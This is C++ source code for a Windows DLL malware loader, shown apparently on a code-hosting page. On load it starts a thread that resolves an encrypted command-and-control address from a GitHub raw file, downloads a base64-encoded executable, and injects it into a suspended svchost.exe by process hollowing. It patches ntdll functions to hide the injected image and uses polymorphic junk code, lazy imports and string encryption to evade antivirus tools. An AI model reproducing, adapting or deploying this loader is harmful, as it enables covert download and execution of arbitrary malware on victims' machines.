|
||||
#pragma comment(lib, "wininet.lib")
|
||||
#pragma comment(lib, "crypt32.lib")
|
||||
|
||||
std::string MainURL;
|
||||
|
||||
|
||||
typedef NTSTATUS(WINAPI* EMOSS)(
|
||||
HANDLE ProcessHandle,
|
||||
PROCESSINFOCLASS ProcessInformationClass,
|
||||
PVOID ProcessInformation,
|
||||
ULONG ProcessInformationLength,
|
||||
PULONG_PTR ReturnLength
|
||||
);
|
||||
|
||||
|
||||
|
||||
#define POLYMORPH_NOISE_BIG() \
|
||||
do { \
|
||||
constexpr int base_size = 1024; \
|
||||
constexpr int date_sum = (__DATE__[0] + __DATE__[1] + __DATE__[2] + __DATE__[3] + __DATE__[4]); \
|
||||
constexpr int time_sum = (__TIME__[0] + __TIME__[1] + __TIME__[2] + __TIME__[3] + __TIME__[4] + __TIME__[5]); \
|
||||
constexpr int offset = (date_sum + time_sum) % 256; \
|
||||
constexpr int array_size = base_size + offset; \
|
||||
static char poly_noise_data##__LINE__[array_size] = {}; \
|
||||
for (int i = 0; i < array_size; ++i) { \
|
||||
poly_noise_data##__LINE__[i] = \
|
||||
__DATE__[i % 11] ^ __TIME__[i % 8]; \
|
||||
} \
|
||||
volatile char* ptr = poly_noise_data##__LINE__; \
|
||||
(void)ptr; \
|
||||
if (poly_random(3) == 0) { \
|
||||
poly_junk(); \
|
||||
(void)poly_float(); \
|
||||
} else { \
|
||||
(void)poly_double(); \
|
||||
} \
|
||||
} while(0)
|
||||
|
||||
|
||||
|
||||
|
||||
#define POLYMORPH_NOISE_3() \
|
||||
(void)poly_int(); \
|
||||
(void)poly_double(); \
|
||||
if (poly_random(2) == 0) { \
|
||||
POLYMORPH_NOISE_BIG(); \
|
||||
} else { \
|
||||
(void)poly_float(); \
|
||||
} \
|
||||
(void)poly_ull();
|
||||
|
||||
|
||||
|
||||
#define POLYMORPH_NOISE_2() \
|
||||
(void)poly_ull(); \
|
||||
poly_junk(); \
|
||||
(void)poly_float(); \
|
||||
poly_random_order([](){ \
|
||||
(void)poly_double(); \
|
||||
}, [](){ \
|
||||
poly_junk(); \
|
||||
});
|
||||
|
||||
|
||||
|
||||
#define POLYMORPH_NOISE() \
|
||||
poly_junk(); \
|
||||
(void)poly_int(); \
|
||||
(void)poly_double(); \
|
||||
poly_random_order([](){ \
|
||||
poly_junk(); \
|
||||
}, [](){ \
|
||||
(void)poly_float(); \
|
||||
});
|
||||
|
||||
|
||||
bool patch_ZwQueryVirtualMemory(HANDLE hProcess, LPVOID module_ptr, HMODULE hNtdll)
|
||||
{
|
||||
|
||||
|
||||
if (!hNtdll) return false; // should never happen
|
||||
|
||||
ULONGLONG pos = 8;
|
||||
DWORD oldProtect = 0;
|
||||
|
||||
const SIZE_T stub_size = 0x20;
|
||||
|
||||
std::string virtmom = EC("ZwQueryVirtualMemory");
|
||||
|
||||
ULONG_PTR _ZwQueryVirtualMemory = (ULONG_PTR)LI_FN(GetProcAddress).cached()(hNtdll, virtmom.c_str());
|
||||
if (!_ZwQueryVirtualMemory || _ZwQueryVirtualMemory < pos) {
|
||||
return false;
|
||||
}
|
||||
LPVOID stub_ptr = (LPVOID)((ULONG_PTR)_ZwQueryVirtualMemory - pos);
|
||||
|
||||
|
||||
|
||||
if (!LI_FN(VirtualProtectEx).cached()(hProcess, stub_ptr, stub_size, PAGE_READWRITE, &oldProtect)) {
|
||||
return false;
|
||||
}
|
||||
LPVOID patch_space = LI_FN(VirtualAllocEx).cached()(hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!patch_space) {
|
||||
return false;
|
||||
}
|
||||
BYTE stub_buffer_orig[stub_size] = { 0 };
|
||||
SIZE_T out_bytes = 0;
|
||||
if (!LI_FN(ReadProcessMemory).cached()(hProcess, stub_ptr, stub_buffer_orig, stub_size, &out_bytes) || out_bytes != stub_size) {
|
||||
return false;
|
||||
}
|
||||
|
||||
const BYTE nop_pattern[] = { 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
||||
if (LI_FN(memcmp).cached()(stub_buffer_orig, nop_pattern, sizeof(nop_pattern)) != 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
// prepare the patched stub:
|
||||
const size_t syscall_pattern_full = 8;
|
||||
const size_t syscall_pattern_start = 4;
|
||||
|
||||
const BYTE syscall_fill_pattern[] = {
|
||||
0x4C, 0x8B, 0xD1, //mov r10,rcx
|
||||
0xB8, 0xFF, 0x00, 0x00, 0x00 // mov eax,[syscall ID]
|
||||
};
|
||||
if (LI_FN(memcmp).cached()(stub_buffer_orig + pos, syscall_fill_pattern, syscall_pattern_start) != 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
// prepare the patch to be applied on ZwQueryVirtualMemory:
|
||||
|
||||
BYTE stub_buffer_patched[stub_size] = { 0 };
|
||||
LI_FN(memcpy).cached()(stub_buffer_patched, stub_buffer_orig, stub_size);
|
||||
|
||||
const BYTE jump_back[] = { 0xFF, 0x25, 0xF2, 0xFF, 0xFF, 0xFF };
|
||||
|
||||
LI_FN(memcpy).cached()(stub_buffer_patched, &patch_space, sizeof(LPVOID));
|
||||
LI_FN(memset).cached()(stub_buffer_patched + pos, 0x90, syscall_pattern_full);
|
||||
|
||||
LI_FN(memcpy).cached()(stub_buffer_patched + pos, jump_back, sizeof(jump_back));
|
||||
|
||||
// prepare the trampoline:
|
||||
|
||||
|
||||
const BYTE jump_to_contnue[] = { 0xFF, 0x25, 0xEA, 0xFF, 0xFF, 0xFF };
|
||||
ULONG_PTR _ZwQueryVirtualMemory_continue = (ULONG_PTR)_ZwQueryVirtualMemory + syscall_pattern_full;
|
||||
|
||||
BYTE func_patch[] = {
|
||||
0x49, 0x83, 0xF8, 0x0E, //cmp r8,0xE -> is MEMORY_INFORMATION_CLASS == MemoryImageExtensionInformation?
|
||||
0x75, 0x22, // jne [continue to function]
|
||||
0x48, 0x3B, 0x15, 0x0B, 0x00, 0x00, 0x00, // cmp rdx,qword ptr ds:[addr] -> is ImageBase == module_ptr ?
|
||||
0x75, 0x19, // jne [continue to function]
|
||||
0xB8, 0xBB, 0x00, 0x00, 0xC0, // mov eax,C00000BB -> STATUS_NOT_SUPPORTED
|
||||
0xC3 //ret
|
||||
};
|
||||
|
||||
|
||||
BYTE stub_buffer_trampoline[stub_size * 2] = { 0 };
|
||||
LI_FN(memcpy).cached()(stub_buffer_trampoline, func_patch, sizeof(func_patch));
|
||||
|
||||
LI_FN(memcpy).cached()(stub_buffer_trampoline + stub_size, stub_buffer_orig, stub_size);
|
||||
LI_FN(memcpy).cached()(stub_buffer_trampoline + stub_size - sizeof(LPVOID), &module_ptr, sizeof(LPVOID));
|
||||
|
||||
LI_FN(memcpy).cached()(stub_buffer_trampoline + stub_size, &_ZwQueryVirtualMemory_continue, sizeof(LPVOID));
|
||||
LI_FN(memcpy).cached()(stub_buffer_trampoline + stub_size + pos + syscall_pattern_full, jump_to_contnue, sizeof(jump_to_contnue));
|
||||
|
||||
|
||||
const SIZE_T trampoline_full_size = stub_size + pos + syscall_pattern_full + sizeof(jump_to_contnue);
|
||||
|
||||
if (!LI_FN(WriteProcessMemory).cached()(hProcess, stub_ptr, stub_buffer_patched, stub_size, &out_bytes) || out_bytes != stub_size) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!LI_FN(VirtualProtectEx).cached()(hProcess, stub_ptr, stub_size, oldProtect, &oldProtect)) {
|
||||
return false;
|
||||
}
|
||||
if (!LI_FN(WriteProcessMemory).cached()(hProcess, patch_space, stub_buffer_trampoline, trampoline_full_size, &out_bytes) || out_bytes != trampoline_full_size) {
|
||||
return false;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
if (!LI_FN(VirtualProtectEx).cached()(hProcess, patch_space, stub_size, PAGE_EXECUTE_READ, &oldProtect)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
LI_FN(FlushInstructionCache).cached()(hProcess, stub_ptr, stub_size);
|
||||
return true;
|
||||
|
||||
}
|
||||
|
||||
|
||||
bool patch_NtManageHotPatch64(HANDLE hProcess, HMODULE hNtdll)
|
||||
{
|
||||
|
||||
|
||||
if (!hNtdll) return false; // should never happen
|
||||
|
||||
DWORD oldProtect = 0;
|
||||
const SIZE_T stub_size = 0x20;
|
||||
|
||||
const BYTE hotpatch_patch[] = {
|
||||
0xB8, 0xBB, 0x00, 0x00, 0xC0, // mov eax,C00000BB -> STATUS_NOT_SUPPORTED
|
||||
0xC3 //ret
|
||||
};
|
||||
|
||||
|
||||
|
||||
// syscall stub template
|
||||
const size_t syscall_pattern_full = 8;
|
||||
const size_t syscall_pattern_start = 4;
|
||||
|
||||
const BYTE syscall_fill_pattern[] = {
|
||||
0x4C, 0x8B, 0xD1, //mov r10,rcx
|
||||
0xB8, 0xFF, 0x00, 0x00, 0x00 // mov eax,[syscall ID]
|
||||
};
|
||||
|
||||
std::string gotpot = EC("NtManageHotPatch");
|
||||
|
||||
ULONG_PTR _NtManageHotPatch = (ULONG_PTR)LI_FN(GetProcAddress).cached()(hNtdll, gotpot.c_str());
|
||||
if (!_NtManageHotPatch) {
|
||||
return false;
|
||||
}
|
||||
|
||||
LPVOID stub_ptr = (LPVOID)_NtManageHotPatch;
|
||||
|
||||
if (!LI_FN(VirtualProtectEx).cached()(hProcess, stub_ptr, stub_size, PAGE_READWRITE, &oldProtect)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
|
||||
BYTE stub_buffer_orig[stub_size] = { 0 };
|
||||
SIZE_T out_bytes = 0;
|
||||
if (!LI_FN(ReadProcessMemory).cached()(hProcess, stub_ptr, stub_buffer_orig, stub_size, &out_bytes) || out_bytes != stub_size) {
|
||||
return false;
|
||||
}
|
||||
// confirm it is a valid syscall stub:
|
||||
if (LI_FN(memcmp).cached()(stub_buffer_orig, syscall_fill_pattern, syscall_pattern_start) != 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
|
||||
if (!LI_FN(WriteProcessMemory).cached()(hProcess, stub_ptr, hotpatch_patch, sizeof(hotpatch_patch), &out_bytes) || out_bytes != sizeof(hotpatch_patch)) {
|
||||
return false;
|
||||
}
|
||||
if (!LI_FN(VirtualProtectEx).cached()(hProcess, stub_ptr, stub_size, oldProtect, &oldProtect)) {
|
||||
|
||||
return false;
|
||||
}
|
||||
LI_FN(FlushInstructionCache).cached()(hProcess, stub_ptr, sizeof(hotpatch_patch));
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
int ruplepe(std::vector<uint8_t> argy) {
|
||||
|
||||
|
||||
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)argy.data();
|
||||
|
||||
PIMAGE_NT_HEADERS64 NtHeader = (PIMAGE_NT_HEADERS64)(argy.data() + DosHeader->e_lfanew);
|
||||
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFO si = { sizeof(si) };
|
||||
|
||||
ULONG_PTR retlen;
|
||||
PROCESS_BASIC_INFORMATION pbi;
|
||||
|
||||
void* newImgBase;
|
||||
DWORD64 ImgBaseAddress;
|
||||
|
||||
HMODULE hNtdll = LI_FN(GetModuleHandleA).safe()(EC("ntdll"));
|
||||
HMODULE ntDll = LI_FN(LoadLibraryA).safe()(EC("ntdll.dll"));
|
||||
if (ntDll == nullptr) {
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
std::string nqr = EC("NtQueryInformationProcess");
|
||||
|
||||
|
||||
EMOSS NtQueryInformationProcess = (EMOSS)GetProcAddress(ntDll, nqr.c_str());
|
||||
|
||||
if (NtHeader->Signature != IMAGE_NT_SIGNATURE) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
|
||||
if (!CreateProcess(EC("C:\\Windows\\System32\\svchost.exe"),
|
||||
NULL, NULL, NULL, FALSE,
|
||||
CREATE_SUSPENDED,
|
||||
NULL, NULL, &si, &pi)) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
patch_NtManageHotPatch64(pi.hProcess, hNtdll);
|
||||
|
||||
|
||||
|
||||
NtQueryInformationProcess(
|
||||
pi.hProcess,
|
||||
ProcessBasicInformation,
|
||||
&pbi,
|
||||
sizeof(PROCESS_BASIC_INFORMATION),
|
||||
&retlen
|
||||
);
|
||||
|
||||
|
||||
|
||||
newImgBase = LI_FN(VirtualAllocEx).cached()(
|
||||
pi.hProcess,
|
||||
NULL,
|
||||
NtHeader->OptionalHeader.SizeOfImage,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE
|
||||
);
|
||||
|
||||
|
||||
|
||||
if (newImgBase == NULL) {
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
LI_FN(WriteProcessMemory).cached()(pi.hProcess, newImgBase, argy.data(), NtHeader->OptionalHeader.SizeOfHeaders, 0);
|
||||
|
||||
|
||||
PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)(argy.data() + DosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS64));
|
||||
|
||||
for (int num = 0; num < NtHeader->FileHeader.NumberOfSections; num++) {
|
||||
if (!LI_FN(WriteProcessMemory).cached()(pi.hProcess,
|
||||
(LPVOID)((DWORD64)newImgBase + SectionHeader->VirtualAddress),
|
||||
(LPVOID)((DWORD64)argy.data() + SectionHeader->PointerToRawData),
|
||||
SectionHeader->SizeOfRawData,
|
||||
0)) {
|
||||
|
||||
}
|
||||
SectionHeader++;
|
||||
}
|
||||
|
||||
|
||||
ImgBaseAddress = (DWORD64)pbi.PebBaseAddress + 0x10;
|
||||
if (!LI_FN(WriteProcessMemory).cached()(pi.hProcess, (LPVOID)ImgBaseAddress, &newImgBase, sizeof(newImgBase), 0)) {
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
HANDLE NewThread = LI_FN(CreateRemoteThread).cached()(pi.hProcess,
|
||||
NULL,
|
||||
0,
|
||||
(LPTHREAD_START_ROUTINE)((DWORD64)newImgBase + NtHeader->OptionalHeader.AddressOfEntryPoint),
|
||||
NULL,
|
||||
CREATE_SUSPENDED,
|
||||
NULL);
|
||||
|
||||
|
||||
|
||||
if (!NewThread) {
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
LI_FN(SuspendThread).cached()(pi.hThread);
|
||||
|
||||
patch_ZwQueryVirtualMemory(pi.hProcess, newImgBase, hNtdll);
|
||||
|
||||
|
||||
LI_FN(ResumeThread).cached()(NewThread);
|
||||
|
||||
|
||||
/*std::cout << "DosHeader: " << std::hex << "0x" << DosHeader;
|
||||
std::cout << "NtHeader: " << std::hex << "0x" << NtHeader;
|
||||
std::cout << "Shellcode injected successfully\n";*/
|
||||
|
||||
|
||||
LI_FN(FreeLibrary).cached()(ntDll);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
std::string Rvrs(std::string input) {
|
||||
|
||||
|
||||
|
||||
// Reverse the string
|
||||
std::reverse(input.begin(), input.end());
|
||||
|
||||
return input;
|
||||
}
|
||||
|
||||
|
||||
bool isInternetAvailable() {
|
||||
|
||||
return InternetCheckConnectionW(EC(L"http://www.google.com"), FLAG_ICC_FORCE_CONNECTION, 0);
|
||||
}
|
||||
|
||||
|
||||
|
||||
std::string DownloadString(std::string URL) {
|
||||
|
||||
|
||||
if (isInternetAvailable())
|
||||
{
|
||||
|
||||
|
||||
HINTERNET interwebs = LI_FN(InternetOpenA).cached()(EC("Mozilla/5.0"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL);
|
||||
|
||||
|
||||
HINTERNET urlFile;
|
||||
std::string rtn;
|
||||
if (interwebs) {
|
||||
|
||||
urlFile = LI_FN(InternetOpenUrlA).cached()(interwebs, URL.c_str(), NULL, NULL, INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, NULL);
|
||||
if (urlFile) {
|
||||
char buffer[20000];
|
||||
DWORD bytesRead;
|
||||
do {
|
||||
LI_FN(InternetReadFile).cached()(urlFile, buffer, 20000, &bytesRead);
|
||||
rtn.append(buffer, bytesRead);
|
||||
LI_FN(memset).cached()(buffer, 0, 20000);
|
||||
} while (bytesRead);
|
||||
LI_FN(InternetCloseHandle).cached()(interwebs);
|
||||
LI_FN(InternetCloseHandle).cached()(urlFile);
|
||||
return rtn;
|
||||
}
|
||||
}
|
||||
LI_FN(InternetCloseHandle).cached()(interwebs);
|
||||
|
||||
return rtn;
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
std::cout << EC("No Internet Connection.") << std::endl;
|
||||
|
||||
return EC("");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
std::vector<BYTE> Base64ToBytes(const std::string& base64String) {
|
||||
|
||||
|
||||
DWORD bytesNeeded;
|
||||
if (!CryptStringToBinaryA(base64String.c_str(), base64String.length(), CRYPT_STRING_BASE64, NULL, &bytesNeeded, NULL, NULL)) {
|
||||
return {};
|
||||
}
|
||||
|
||||
|
||||
|
||||
std::vector<BYTE> bytes(bytesNeeded);
|
||||
if (!CryptStringToBinaryA(base64String.c_str(), base64String.length(), CRYPT_STRING_BASE64, bytes.data(), &bytesNeeded, NULL, NULL)) {
|
||||
|
||||
return {};
|
||||
}
|
||||
|
||||
|
||||
return bytes;
|
||||
}
|
||||
|
||||
|
||||
|
||||
std::string decrypt(const std::string& encryptedBase64, const std::string& key) {
|
||||
|
||||
|
||||
std::string decoded;
|
||||
std::vector<int> decodingTable(256, -1);
|
||||
const std::string base64Chars =
|
||||
EC("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/");
|
||||
|
||||
|
||||
|
||||
for (size_t i = 0; i < base64Chars.size(); i++) {
|
||||
decodingTable[base64Chars[i]] = i;
|
||||
}
|
||||
|
||||
int val = 0, valb = -8;
|
||||
for (unsigned char c : encryptedBase64) {
|
||||
if (decodingTable[c] == -1) break;
|
||||
val = (val << 6) + decodingTable[c];
|
||||
valb += 6;
|
||||
if (valb >= 0) {
|
||||
decoded.push_back((val >> valb) & 0xFF);
|
||||
valb -= 8;
|
||||
}
|
||||
}
|
||||
|
||||
std::string encryptedData = decoded;
|
||||
|
||||
|
||||
std::string decrypted;
|
||||
size_t keyLength = key.size();
|
||||
for (size_t i = 0; i < encryptedData.size(); ++i) {
|
||||
decrypted += encryptedData[i] ^ key[i % keyLength];
|
||||
}
|
||||
|
||||
|
||||
|
||||
return decrypted;
|
||||
}
|
||||
|
||||
std::string remove_whitespace(const std::string& input) {
|
||||
std::string result;
|
||||
|
||||
for (char c : input) {
|
||||
if (!std::isspace(c)) {
|
||||
result += c;
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
|
||||
DWORD WINAPI ThreadMain(HMODULE m)
|
||||
{
|
||||
|
||||
|
||||
/*std::string un;
|
||||
DWORD bufferLength = 256 + 1;
|
||||
char username[256 + 1];
|
||||
if (GetUserNameA(username, &bufferLength))
|
||||
{
|
||||
un = username;
|
||||
}
|
||||
|
||||
if (un.find(EC("emre")) != std::string::npos) {
|
||||
AllocConsole();
|
||||
freopen(EC("CON"), EC("w"), stdout);
|
||||
freopen(EC("CON"), EC("w"), stderr);
|
||||
}
|
||||
|
||||
std::cout << EC("[DBG] Sleeping... PLD: 0.1.6") << std::endl;
|
||||
|
||||
|
||||
AllocConsole();
|
||||
freopen(EC("CON"), EC("w"), stdout);
|
||||
freopen(EC("CON"), EC("w"), stderr);*/
|
||||
|
||||
//std::cout << EC("[DBG] Sleeping... PLD: 0.1.8") << std::endl;
|
||||
|
||||
LI_FN(Sleep).safe_cached()(10000);
|
||||
|
||||
|
||||
|
||||
LI_FN(CreateMutexA).safe_cached()(NULL, TRUE, EC("Global\\PFLwrx"));
|
||||
|
||||
if (LI_FN(GetLastError).safe()() == ERROR_ALREADY_EXISTS) {
|
||||
//std::cout << EC("[DBG] Nope") << std::endl;
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
//std::cout << EC("[DBG] Yes") << std::endl;
|
||||
|
||||
try
|
||||
{
|
||||
|
||||
|
||||
|
||||
if (LI_FN(OpenMutexA).safe()(MUTEX_ALL_ACCESS, FALSE, EC("Global\\PFLwrxMNN")) != NULL) {
|
||||
//std::cout << EC("[DBG] Fucking No") << std::endl;
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
//std::cout << EC("[DBG] Ok So Good") << std::endl;
|
||||
|
||||
MainURL = decrypt(remove_whitespace(DownloadString(EC("https://raw.githubusercontent.com/VinieClara/Fortnite-Reverseal-Collection/refs/heads/main/HHash"))), EC("NtExploreProcess"));
|
||||
|
||||
//std::cout << EC("[DBG] Main URL: ") << MainURL << std::endl;
|
||||
|
||||
|
||||
A:
|
||||
|
||||
std::string dumasring = DownloadString(EC("https://") + MainURL + EC("/Stb/PokerFace/init.php?id=Father"));
|
||||
|
||||
std::vector<uint8_t> ByteStub = Base64ToBytes(dumasring);
|
||||
|
||||
//std::cout << EC("[DBG] Got New Father, size is: ") << ByteStub.size() << std::endl;
|
||||
|
||||
|
||||
if (ByteStub.size() < 1000)
|
||||
{
|
||||
//std::cout << EC("[DBG] Father STR is: ") << dumasring << std::endl;
|
||||
//std::cout << EC("[DBG] Father URL is: ") << (EC("https://") + MainURL + EC("/Stb/PokerFace/init.php?id=Father")) << std::endl;
|
||||
|
||||
}
|
||||
|
||||
LI_FN(Sleep).safe_cached()(200);
|
||||
|
||||
if (ByteStub.size() > 1000)
|
||||
{
|
||||
|
||||
ruplepe(ByteStub);
|
||||
|
||||
|
||||
}
|
||||
else {
|
||||
LI_FN(Sleep).safe_cached()(5000);
|
||||
|
||||
goto A;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
|
||||
{
|
||||
switch (ul_reason_for_call)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
/*AllocConsole();
|
||||
freopen(EC("CON"), EC("w"), stdout);
|
||||
freopen(EC("CON"), EC("w"), stderr);*/
|
||||
CreateThread(nullptr, NULL, reinterpret_cast<LPTHREAD_START_ROUTINE>(ThreadMain), nullptr, NULL, nullptr);
|
||||
|
||||
case DLL_THREAD_ATTACH:
|
||||
|
||||
case DLL_THREAD_DETACH:
|
||||
|
||||
case DLL_PROCESS_DETACH:
|
||||
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user